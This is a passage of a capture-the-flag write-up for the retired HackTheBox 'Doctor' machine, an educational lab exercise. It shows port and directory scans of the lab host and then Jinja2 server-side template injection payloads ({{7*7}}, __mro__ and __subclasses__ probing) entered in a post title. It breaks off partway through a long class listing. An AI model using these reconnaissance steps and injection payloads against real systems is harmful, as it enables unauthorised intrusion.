Writeup: HackTheBox Doctor Machine

Note: Only write-ups of retired HTB machines are allowed. The machine in this article, named Doctor, is retired.

Machine Info

1. TLDR

Doctor graph

2. Preparation

I have prepared some useful variables:

export IP=10.10.10.209

3. Scanning and Reconnaissance

First, I ran a scan with the nmap tool to reveal and identify the services that were running on the 1000 most popular ports.

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/Doctor]
└──╼ $nmap -sC -sV -Pn -n -oN nmap/01-initial.txt -T5 $IP
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2020-11-07 10:55 CET
Nmap scan report for 10.10.10.209
Host is up (0.041s latency).
Not shown: 997 filtered ports
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 59:4d:4e:c2:d8:cf:da:9d:a8:c8:d0:fd:99:a8:46:17 (RSA)
|   256 7f:f3:dc:fb:2d:af:cb:ff:99:34:ac:e0:f8:00:1e:47 (ECDSA)
|_  256 53:0e:96:6b:9c:e9:c1:a1:70:51:6c:2d:ce:7b:43:e8 (ED25519)
80/tcp   open  http     Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Doctor
8089/tcp open  ssl/http Splunkd httpd
| http-robots.txt: 1 disallowed entry 
|_/
|_http-server-header: Splunkd
|_http-title: splunkd
| ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser
| Not valid before: 2020-09-06T15:57:27
|_Not valid after:  2023-09-06T15:57:27
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 45.30 seconds

There were two http services running on the server.

The first one was a website:

Doctor website

The second was the Apache Splunk web interface:

Doctor splunk

With the http service available on port 80, I ran the gobuster tool:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/Doctor]
└──╼ $gobuster dir -u $IP -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt | tee gobuster/01-initial.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.10.209
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2020/11/07 14:46:23 Starting gobuster
===============================================================
/images (Status: 301)
/css (Status: 301)
/js (Status: 301)
/fonts (Status: 301)
/server-status (Status: 403)
===============================================================
2020/11/07 15:01:31 Finished
===============================================================

and nikto:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/Doctor]
└──╼ $nikto -h $IP | tee nikto/01-initial.txt
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          10.10.10.209
+ Target Hostname:    10.10.10.209
+ Target Port:        80
+ Start Time:         2020-11-07 15:11:48 (GMT1)
---------------------------------------------------------------------------
+ Server: Apache/2.4.41 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Server may leak inodes via ETags, header found with file /, inode: 4d88, size: 5afad8bea6589, mtime: gzip
+ Allowed HTTP Methods: OPTIONS, HEAD, GET, POST 
+ OSVDB-3268: /css/: Directory indexing found.
+ OSVDB-3092: /css/: This might be interesting...
+ OSVDB-3268: /images/: Directory indexing found.
+ 7863 requests: 0 error(s) and 8 item(s) reported on remote host
+ End Time:           2020-11-07 15:17:52 (GMT1) (364 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The site uses SSL and the Strict-Transport-Security HTTP header is not defined.
+ The site uses SSL and Expect-CT header is not present.
- Sent updated info to cirt.net -- Thank you!

With the http service available on port 8089, I also ran the gobuster tool:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/Doctor]
└──╼ $gobuster dir -u https://$IP:8089 --insecuressl -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt | tee gobuster/8089-01-initial.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            https://10.10.10.209:8089
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2020/11/07 15:26:13 Starting gobuster
===============================================================
/services (Status: 401)
/v2 (Status: 200)
/v1 (Status: 200)
/v3 (Status: 200)
...
/v53 (Status: 200)
/v30 (Status: 200)
===============================================================
2020/11/07 15:42:47 Finished
===============================================================

and nikto:

┌─[✗]─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/Doctor]
└──╼ $nikto -h $IP:8089 | tee nikto/8089-01-initial.txt 
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          10.10.10.209
+ Target Hostname:    10.10.10.209
+ Target Port:        8089
---------------------------------------------------------------------------
+ SSL Info:        Subject:  /CN=SplunkServerDefaultCert/O=SplunkUser
                   Ciphers:  ECDHE-RSA-AES256-GCM-SHA384
                   Issuer:   /C=US/ST=CA/L=San Francisco/O=Splunk/CN=SplunkCommonCA/emailAddress=support@splunk.com
+ Start Time:         2020-11-07 15:46:10 (GMT1)
---------------------------------------------------------------------------
+ Server: Splunkd
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The site uses SSL and the Strict-Transport-Security HTTP header is not defined.
+ The site uses SSL and Expect-CT header is not present.
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Hostname '10.10.10.209' does not match certificate's names: SplunkServerDefaultCert
+ Allowed HTTP Methods: GET, POST, HEAD, OPTIONS 
+ 8021 requests: 6 error(s) and 5 item(s) reported on remote host
+ End Time:           2020-11-07 16:13:56 (GMT1) (1666 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

I re-examined the content of the page and its sources. I noticed the hostname information here:

Doctor hostname

So I added a record to the /etc/hosts file

10.10.10.209	doctors.htb

An attempt to go to http://doctors.htb revealed the Doctor Secure Messagigng site:

Doctor doctor-secure-messaging

So I restarted the gobuster tool:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/Doctor]
└──╼ $gobuster dir -u http://doctors.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt | tee gobuster/03-doctors-htb.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://doctors.htb
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2020/11/07 21:51:17 Starting gobuster
===============================================================
/home (Status: 302)
/login (Status: 200)
/archive (Status: 200)
/register (Status: 200)
/account (Status: 302)
/logout (Status: 302)
/reset_password (Status: 200)
/server-status (Status: 403)
===============================================================
2020/11/07 22:20:53 Finished
===============================================================

and nikto:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/Doctor]
└──╼ $nikto -h doctors.htb | tee nikto/03-doctors-htb.txt
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          10.10.10.209
+ Target Hostname:    doctors.htb
+ Target Port:        80
+ Start Time:         2020-11-07 22:25:36 (GMT1)
---------------------------------------------------------------------------
+ Server: Werkzeug/1.0.1 Python/3.8.2
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Root page / redirects to: http://doctors.htb/login?next=%2F
+ Server banner has changed from 'Werkzeug/1.0.1 Python/3.8.2' to 'Apache/2.4.41 (Ubuntu)' which may suggest a WAF, load balancer or proxy is in place
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Allowed HTTP Methods: HEAD, OPTIONS, GET 
+ 7785 requests: 0 error(s) and 4 item(s) reported on remote host
+ End Time:           2020-11-07 22:32:09 (GMT1) (393 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The site uses SSL and the Strict-Transport-Security HTTP header is not defined.
+ The site uses SSL and Expect-CT header is not present.
- Sent updated info to cirt.net -- Thank you!

I checked the results returned by the gobuster tool: the /archive page was… empty:

Doctor archive empty

But in the source of the main page http://doctors.htb/ I found this information:

Doctor archive comment

So I registered an account on the site and started exploratory testing of the webapp:

Doctor account

I noticed that after adding a new post:

Doctor new post

a new record appears in the contents of /archive:

Doctor archive item

So I could control the content of the title field. After a few attempts a thought came to my mind: could it be that the template engine was used here? To understand the rest of the post, it’s worth to read a short article about the Server-Side Template Injection vulnerability.

4. Gaining Access

In order to verify the existence of the SSTI vulnerability on the tested site, I posted a new post with the title ``{{7*7}}```:

Doctor ssti test request

In response to a submitted request, an item with the title 49 appeared in /archive:

Doctor ssti test response

This confirmed the existence of the SSTI vulnerability on the tested site.

So I proceeded to explore the vulnerability:

Request:    {{ ''.__class__.__mro__ }}
Response:   <class 'str'>, <class 'object'>
Request:    {{ ''.__class__.__mro__[1].__subclasses__() }}
Response:   [<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class 'dict_keys'>, <class 'dict_values'>, <class 'dict_items'>, <class 'dict_reversekeyiterator'>, <class 'dict_reversevalueiterator'>, <class 'dict_reverseitemiterator'>, <class 'odict_iterator'>, <class 'set'>, <class 'str'>, <class 'slice'>, <class 'staticmethod'>, <class 'complex'>, <class 'float'>, <class 'frozenset'>, <class 'property'>, <class 'managedbuffer'>, <class 'memoryview'>, <class 'tuple'>, <class 'enumerate'>, <class 'reversed'>, <class 'stderrprinter'>, <class 'code'>, <class 'frame'>, <class 'builtin_function_or_method'>, <class 'method'>, <class 'function'>, <class 'mappingproxy'>, <class 'generator'>, <class 'getset_descriptor'>, <class 'wrapper_descriptor'>, <class 'method-wrapper'>, <class 'ellipsis'>, <class 'member_descriptor'>, <class 'types.SimpleNamespace'>, <class 'PyCapsule'>, <class 'longrange_iterator'>, <class 'cell'>, <class 'instancemethod'>, <class 'classmethod_descriptor'>, <class 'method_descriptor'>, <class 'callable_iterator'>, <class 'iterator'>, <class 'pickle.PickleBuffer'>, <class 'coroutine'>, <class 'coroutine_wrapper'>, <class 'InterpreterID'>, <class 'EncodingMap'>, <class 'fieldnameiterator'>, <class 'formatteriterator'>, <class 'BaseException'>, <class 'hamt'>, <class 'hamt_array_node'>, <class 'hamt_bitmap_node'>, <class 'hamt_collision_node'>, <class 'keys'>, <class 'values'>, <class 'items'>, <class 'Context'>, <class 'ContextVar'>, <class 'Token'>, <class 'Token.MISSING'>, <class 'moduledef'>, <class 'module'>, <class 'filter'>, <class 'map'>, <class 'zip'>, <class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib.BuiltinImporter'>, <class 'classmethod'>, <class '_frozen_importlib.FrozenImporter'>, <class '_frozen_importlib._ImportLockContext'>, <class '_thread._localdummy'>, <class '_thread._local'>, <class '_thread.lock'>, <class '_thread.RLock'>, <class '_frozen_importlib_external.WindowsRegistryFinder'>, <class '_frozen_importlib_external._LoaderBasics'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.PathFinder'>, <class '_frozen_importlib_external.FileFinder'>, <class '_io._IOBase'>, <class '_io._BytesIOBuffer'>, <class '_io.IncrementalNewlineDecoder'>, <class 'posix.ScandirIterator'>, <class 'posix.DirEntry'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.Codec'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class '_abc_data'>, <class 'abc.ABC'>, <class 'dict_itemiterator'>, <class 'collections.abc.Hashable'>, <class 'collections.abc.Awaitable'>, <class 'collections.abc.AsyncIterable'>, <class 'async_generator'>, <class 'collections.abc.Iterable'>, <class 'bytes_iterator'>, <class 'bytearray_iterator'>, <class 'dict_keyiterator'>, <class 'dict_valueiterator'>, <class 'list_iterator'>, <class 'list_reverseiterator'>, <class 'range_iterator'>, <class 'set_iterator'>, <class 'str_iterator'>, <class 'tuple_iterator'>, <class 'collections.abc.Sized'>, <class 'collections.abc.Container'>, <class 'collections.abc.Callable'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class '_sitebuiltins._Helper'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'enum.auto'>, <enum 'Enum'>, <class 're.Pattern'>, <class 're.Match'>, <class '_sre.SRE_Scanner'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 'operator.itemgetter'>, <class 'operator.attrgetter'>, <class 'operator.methodcaller'>, <class 'itertools.accumulate'>, <class 'itertools.combinations'>, <class 'itertools.combinations_with_replacement'>, <class 'itertools.cycle'>, <class 'itertools.dropwhile'>, <class 'itertools.takewhile'>, <class 'itertools.islice'>, <class 'itertools.starmap'>, <class 'itertools.chain'>, <class 'itertools.compress'>, <class 'itertools.filterfalse'>, <class 'itertools.count'>, <class 'itertools.zip_longest'>, <class 'itertools.permutations'>, <class 'itertools.product'>, <class 'itertools.repeat'>, <class 'itertools.groupby'>, <class 'itertools._grouper'>, <class 'itertools._tee'>, <class 'itertools._tee_dataobject'>, <class 'reprlib.Repr'>, <class 'collections.deque'>, <class '_collections._deque_iterator'>, <class '_collections._deque_reverse_iterator'>, <class '_collections._tuplegetter'>, <class 'collections._Link'>, <class 'functools.partial'>, <class 'functools._lru_cache_wrapper'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 're.Scanner'>, <class 'string.Template'>, <class 'string.Formatter'>, <class 'markupsafe._MarkupEscapeHelper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'zlib.Compress'>, <class 'zlib.Decompress'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class '_bz2.BZ2Compressor'>, <class '_bz2.BZ2Decompressor'>, <class '_lzma.LZMACompressor'>, <class '_lzma.LZMADecompressor'>, <class '_sha512.sha384'>, <class '_sha512.sha512'>, <class '_random.Random'>, <class 'weakref.finalize._Info'>, <class 'weakref.finalize'>, <class 'tempfile._RandomNameSequence'>, <class 'tempfile._TemporaryFileCloser'>, <class 'tempfile._TemporaryFileWrapper'>, <class 'tempfile.SpooledTemporaryFile'>, <class 'tempfile.TemporaryDirectory'>, <class '_hashlib.HASH'>, <class '_blake2.blake2b'>, <class '_blake2.blake2s'>, <class '_sha3.sha3_224'>, <class '_sha3.sha3_256'>, <class '_sha3.sha3_384'>, <class '_sha3.sha3_512'>, <class '_sha3.shake_128'>, <class '_sha3.shake_256'>, <class 'Struct'>, <class 'unpack_iterator'>, <class '_pickle.Unpickler'>, <class '_pickle.Pickler'>, <class '_pickle.Pdata'>, <class '_pickle.PicklerMemoProxy'>, <class '_pickle.UnpicklerMemoProxy'>, <class 'pickle._Framer'>, <class 'pickle._Unframer'>, <class 'pickle._Pickler'>, <class 'pickle._Unpickler'>, <class 'urllib.parse._ResultMixinStr'>, <class 'urllib.parse._ResultMixinBytes'>, <class 'urllib.parse._NetlocResultMixinBase'>, <class '_json.Scanner'>, <class '_json.Encoder'>, <class 'json.decoder.JSONDecoder'>, <class 'json.encoder.JSONEncoder'>, <class 'jinja2.utils.MissingType'>, <class 'jinja2.utils.LRUCache'>, <class 'jinja2.utils.Cycler'>, <class 'jinja2.utils.Joiner'>, <class 'jinja2.utils.Namespace'>, <class 'jinja2.bccache.Bucket'>, <class 'jinja2.bccache.BytecodeCache'>, <class 'jinja2.nodes.EvalContext'>, <class 'jinja2.nodes.Node'>, <class 'jinja2.visitor.NodeVisitor'>, <class 'jinja2.idtracking.Symbols'>, <class '__future__._Feature'>, <class 'jinja2.compiler.MacroRef'>, <class 'jinja2.compiler.Frame'>, <class 'jinja2.runtime.TemplateReference'>, <class 'jinja2.runtime.Context'>, <class 'jinja2.runtime.BlockReference'>, <class 'jinja2.runtime.LoopContext'>, <class 'jinja2.runtime.Macro'>, <class 'jinja2.runtime.Undefined'>, <class 'decimal.Decimal'>, <class 'decimal.Context'>, <class 'decimal.SignalDictMixin'>, <class 'decimal.ContextManager'>, <class 'numbers.Number'>, <class '_ast.AST'>, <class 'ast.NodeVisitor'>, <class 'jinja2.lexer.Failure'>, <class 'jinja2.lexer.TokenStreamIterator'>, <class 'jinja2.lexer.TokenStream'>, <class 'jinja2.lexer.Lexer'>, <class 'jinja2.parser.Parser'>, <class 'jinja2.environment.Environment'>, <class 'jinja2.environment.Template'>, <class 'jinja2.environment.TemplateModule'>, <class 'jinja2.environment.TemplateExpression'>, <class 'jinja2.environment.TemplateStream'>, <class 'jinja2.loaders.BaseLoader'>, <class 'select.poll'>, <class 'select.epoll'>, <class 'selectors.BaseSelector'>, <class '_socket.socket'>, <class 'datetime.date'>, <class 'datetime.timedelta'>, <class 'datetime.time'>, <class 'datetime.tzinfo'>, <class 'dis.Bytecode'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect._void'>, <class 'inspect._empty'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class 'logging.LogRecord'>, <class 'logging.PercentStyle'>, <class 'logging.Formatter'>, <class 'logging.BufferingFormatter'>, <class 'logging.Filter'>, <class 'logging.Filterer'>, <class 'logging.PlaceHolder'>, <class 'logging.Manager'>, <class 'logging.LoggerAdapter'>, <class 'werkzeug._internal._Missing'>, <class 'werkzeug._internal._DictAccessorProperty'>, <class 'importlib.abc.Finder'>, <class 'importlib.abc.Loader'>, <class 'importlib.abc.ResourceReader'>, <class 'contextlib.ContextDecorator'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'pkgutil.ImpImporter'>, <class 'pkgutil.ImpLoader'>, <class 'werkzeug.utils.HTMLBuilder'>, <class 'werkzeug.exceptions.Aborter'>, <class 'werkzeug.urls.Href'>, <class 'socketserver.BaseServer'>, <class 'socketserver.ForkingMixIn'>, <class 'socketserver.ThreadingMixIn'>, <class 'socketserver.BaseRequestHandler'>, <class 'calendar._localized_month'>, <class 'calendar._localized_day'>, <class 'calendar.Calendar'>, <class 'calendar.different_locale'>, <class 'email._parseaddr.AddrlistClass'>, <class 'email.charset.Charset'>, <class 'email.header.Header'>, <class 'email.header._ValueFormatter'>, <class 'email._policybase._PolicyBase'>, <class 'email.feedparser.BufferedSubFile'>, <class 'email.feedparser.FeedParser'>, <class 'email.parser.Parser'>, <class 'email.parser.BytesParser'>, <class 'email.message.Message'>, <class 'http.client.HTTPConnection'>, <class '_ssl._SSLContext'>, <class '_ssl._SSLSocket'>, <class '_ssl.MemoryBIO'>, <class '_ssl.Session'>, <class 'ssl.SSLObject'>, <class 'mimetypes.MimeTypes'>, <class 'click._compat._FixupStream'>, <class 'click._compat._AtomicFile'>, <class 'click.utils.LazyFile'>, <class 'click.utils.KeepOpenFile'>, <class 'click.utils.PacifyFlushWrapper'>, <class 'click.parser.Option'>, <class 'click.parser.Argument'>, <class 'click.parser.ParsingState'>, <class 'click.parser.OptionParser'>, <class 'click.types.ParamType'>, <class 'click.formatting.HelpFormatter'>, <class 'click.core.Context'>, <class 'click.core.BaseCommand'>, <class 'click.core.Parameter'>, <class 'werkzeug.serving.WSGIRequestHandler'>, <class 'werkzeug.serving._SSLContext'>, <class 'werkzeug.serving.BaseWSGIServer'>, <class 'werkzeug.datastructures.ImmutableListMixin'>, <class 'werkzeug.datastructures.ImmutableDictMixin'>, <class 'werkzeug.datastructures.UpdateDictMixin'>, <class 'werkzeug.datastructures.ViewItems'>, <class 'werkzeug.datastructures._omd_bucket'>, <class 'werkzeug.datastructures.Headers'>, <class 'werkzeug.datastructures.ImmutableHeadersMixin'>, <class 'werkzeug.datastructures.IfRange'>, <class 'werkzeug.datastructures.Range'>, <class 'werkzeug.datastructures.ContentRange'>, <class 'werkzeug.datastructures.FileStorage'>, <class 'urllib.request.Request'>, <class 'urllib.request.OpenerDirector'>, <class 'urllib.request.BaseHandler'>, <class 'urllib.request.HTTPPasswordMgr'>, <class 'urllib.request.AbstractBasicAuthHandler'>, <class 'urllib.request.AbstractDigestAuthHandler'>, <class 'urllib.request.URLopener'>, <class 'urllib.request.ftpwrapper'>, <class 'werkzeug.wrappers.accept.AcceptMixin'>, <class 'werkzeug.wrappers.auth.AuthorizationMixin'>, <class 'werkzeug.wrappers.auth.WWWAuthenticateMixin'>, <class 'werkzeug.wsgi.ClosingIterator'>, <class 'werkzeug.wsgi.FileWrapper'>, <class 'werkzeug.wsgi._RangeWrapper'>, <class 'werkzeug.formparser.FormDataParser'>, <class 'werkzeug.formparser.MultiPartParser'>, <class 'werkzeug.wrappers.base_request.BaseRequest'>, <class 'werkzeug.wrappers.base_response.BaseResponse'>, <class 'werkzeug.wrappers.common_descriptors.CommonRequestDescriptorsMixin'>, <class 'werkzeug.wrappers.common_descriptors.CommonResponseDescriptorsMixin'>, <class 'werkzeug.wrappers.etag.ETagRequestMixin'>, <class 'werkzeug.wrappers.etag.ETagResponseMixin'>, <class 'werkzeug.wrappers.cors.CORSRequestMixin'>, <class 'werkzeug.wrappers.cors.CORSResponseMixin'>, <class 'werkzeug.useragents.UserAgentParser'>, <class 'werkzeug.useragents.UserAgent'>, <class 'werkzeug.wrappers.user_agent.UserAgentMixin'>, <class 'werkzeug.wrappers.request.StreamOnlyMixin'>, <class 'werkzeug.wrappers.response.ResponseStream'>, <class 'werkzeug.wrappers.response.ResponseStreamMixin'>, <class 'http.cookiejar.Cookie'>, <class 'http.cookiejar.CookiePolicy'>, <class 'http.cookiejar.Absent'>, <class 'http.cookiejar.CookieJar'>, <class 'werkzeug.test._TestCookieHeaders'>, <class 'werkzeug.test._TestCookieResponse'>, <class 'werkzeug.test.EnvironBuilder'>, <class 'werkzeug.test.Client'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>, <class 'uuid.UUID'>, <class 'simplejson.raw_json.RawJSON'>, <class 'simplejson._speedups.Scanner'>, <class 'simplejson._speedups.Encoder'>, <class 'simplejson.decoder.JSONDecoder'>, <class 'simplejson.encoder.JSONEncoder'>, <class 'itsdangerous._json._CompactJSON'>, <class 'hmac.HMAC'>, <class 'itsdangerous.signer.SigningAlgorithm'>, <class 'itsdangerous.signer.Signer'>, <class 'itsdangerous.serializer.Serializer'>, <class 'itsdangerous.url_safe.URLSafeSerializerMixin'>, <class 'flask._compat._DeprecatedBool'>, <class 'werkzeug.local.Local'>, <class 'werkzeug.local.LocalStack'>, <class 'werkzeug.local.LocalManager'>, <class 'werkzeug.local.LocalProxy'>, <class 'dataclasses._HAS_DEFAULT_FACTORY_CLASS'>, <class 'dataclasses._MISSING_TYPE'>, <class 'dataclasses._FIELD_BASE'>, <class 'dataclasses.InitVar'>, <class 'dataclasses.Field'>, <class 'dataclasses._DataclassParams'>, <class 'difflib.SequenceMatcher'>, <class 'difflib.Differ'>, <class 'difflib.HtmlDiff'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class 'werkzeug.routing.RuleFactory'>, <class 'werkzeug.routing.RuleTemplate'>, <class 'werkzeug.routing.BaseConverter'>, <class 'werkzeug.routing.Map'>, <class 'werkzeug.routing.MapAdapter'>, <class 'blinker._saferef.BoundMethodWeakref'>, <class 'blinker._utilities._symbol'>, <class 'blinker._utilities.symbol'>, <class 'blinker._utilities.lazy_property'>, <class 'blinker.base.Signal'>, <class 'flask.helpers.locked_cached_property'>, <class 'flask.helpers._PackageBoundObject'>, <class 'flask.cli.DispatchingApp'>, <class 'flask.cli.ScriptInfo'>, <class 'flask.config.ConfigAttribute'>, <class 'flask.ctx._AppCtxGlobals'>, <class 'flask.ctx.AppContext'>, <class 'flask.ctx.RequestContext'>, <class 'flask.json.tag.JSONTag'>, <class 'flask.json.tag.TaggedJSONSerializer'>, <class 'flask.sessions.SessionInterface'>, <class 'werkzeug.wrappers.json._JSONModule'>, <class 'werkzeug.wrappers.json.JSONMixin'>, <class 'flask.blueprints.BlueprintSetupState'>, <class 'configparser.Interpolation'>, <class 'sqlalchemy.util._collections.ImmutableContainer'>, <class 'sqlalchemy.util._collections.Properties'>, <class 'sqlalchemy.util._collections.IdentitySet'>, <class 'sqlalchemy.util._collections.WeakSequence'>, <class 'sqlalchemy.util._collections.UniqueAppender'>, <class 'sqlalchemy.util._collections.ScopedRegistry'>, <class 'textwrap.TextWrapper'>, <class 'sqlalchemy.exc.DontWrapMixin'>, <class 'sqlalchemy.util.langhelpers.safe_reraise'>, <class 'sqlalchemy.util.langhelpers.PluginLoader'>, <class 'sqlalchemy.util.langhelpers.portable_instancemethod'>, <class 'sqlalchemy.util.langhelpers.memoized_property'>, <class 'sqlalchemy.util.langhelpers.group_expirable_memoized_property'>, <class 'sqlalchemy.util.langhelpers.MemoizedSlots'>, <class 'sqlalchemy.util.langhelpers.dependencies._importlater'>, <class 'sqlalchemy.util.langhelpers.dependencies'>, <class 'sqlalchemy.util.langhelpers.hybridproperty'>, <class 'sqlalchemy.util.langhelpers.hybridmethod'>, <class 'sqlalchemy.util.langhelpers.symbol'>, <class 'sqlalchemy.sql.visitors.Visitable'>, <class 'sqlalchemy.sql.visitors.ClauseVisitor'>, <class 'sqlalchemy.sql.base.Immutable'>, <class 'sqlalchemy.sql.base.DialectKWArgs'>, <class 'sqlalchemy.sql.base.Generative'>, <class 'sqlalchemy.sql.base.SchemaEventTarget'>, <class 'sqlalchemy.sql.operators.Operators'>, <class 'sqlalchemy.sql.operators.custom_op'>, <class 'sqlalchemy.sql.type_api.Emulated'>, <class 'sqlalchemy.sql.type_api.NativeForEmulated'>, <class 'sqlalchemy.sql.annotation.Annotated'>, <class 'sqlalchemy.sql.selectable.HasPrefixes'>, <class 'sqlalchemy.sql.selectable.HasSuffixes'>, <class 'sqlalchemy.sql.selectable.HasCTE'>, <class 'sqlalchemy.event.registry._EventKey'>, <class 'sqlalchemy.event.attr._empty_collection'>, <class 'sqlalchemy.event.base._UnpickleDispatch'>, <class 'sqlalchemy.event.base._Dispatch'>, <class 'sqlalchemy.event.base.Events'>, <class 'sqlalchemy.event.base._JoinedDispatcher'>, <class 'sqlalchemy.event.base.dispatcher'>, <class 'sqlalchemy.sql.schema._NotAColumnExpr'>, <class 'sqlalchemy.sql.schema.IdentityOptions'>, <class 'sqlalchemy.sql.schema.ColumnCollectionMixin'>, <class 'sqlalchemy.sql.schema._SchemaTranslateMap'>, <class 'sqlalchemy.cprocessors.UnicodeResultProcessor'>, <class 'sqlalchemy.DecimalResultProcessor'>, <class 'sqlalchemy.sql.sqltypes._LookupExpressionAdapter'>, <class 'sqlalchemy.sql.sqltypes.Concatenable'>, <class 'sqlalchemy.sql.sqltypes.Indexable'>, <class 'sqlalchemy.sql.util._repr_base'>, <class 'sqlalchemy.sql.util.ColumnAdapter._IncludeExcludeMapping'>, <class 'sqlalchemy.sql.functions._FunctionGenerator'>, <class 'sqlalchemy.sql.compiler.Compiled'>, <class 'sqlalchemy.sql.compiler.TypeCompiler'>, <class 'sqlalchemy.sql.compiler.IdentifierPreparer'>, <class 'sqlalchemy.engine.interfaces.Dialect'>, <class 'sqlalchemy.engine.interfaces.CreateEnginePlugin'>, <class 'sqlalchemy.engine.interfaces.ExecutionContext'>, <class 'sqlalchemy.engine.interfaces.Connectable'>, <class 'sqlalchemy.engine.interfaces.ExceptionContext'>, <class 'sqlalchemy.interfaces.PoolListener'>, <class 'sqlalchemy.interfaces.ConnectionProxy'>, <class 'sqlalchemy.log.Identified'>, <class 'sqlalchemy.log.InstanceLogger'>, <class 'sqlalchemy.log.echo_property'>, <class 'sqlalchemy.engine.base.Transaction'>, <class 'sqlalchemy.engine.base.Engine._trans_ctx'>, <class 'sqlalchemy.engine.url.URL'>, <class 'sqlalchemy.pool.base._ConnDialect'>, <class 'sqlalchemy.pool.base._ConnectionRecord'>, <class 'sqlalchemy.pool.base._ConnectionFairy'>, <class 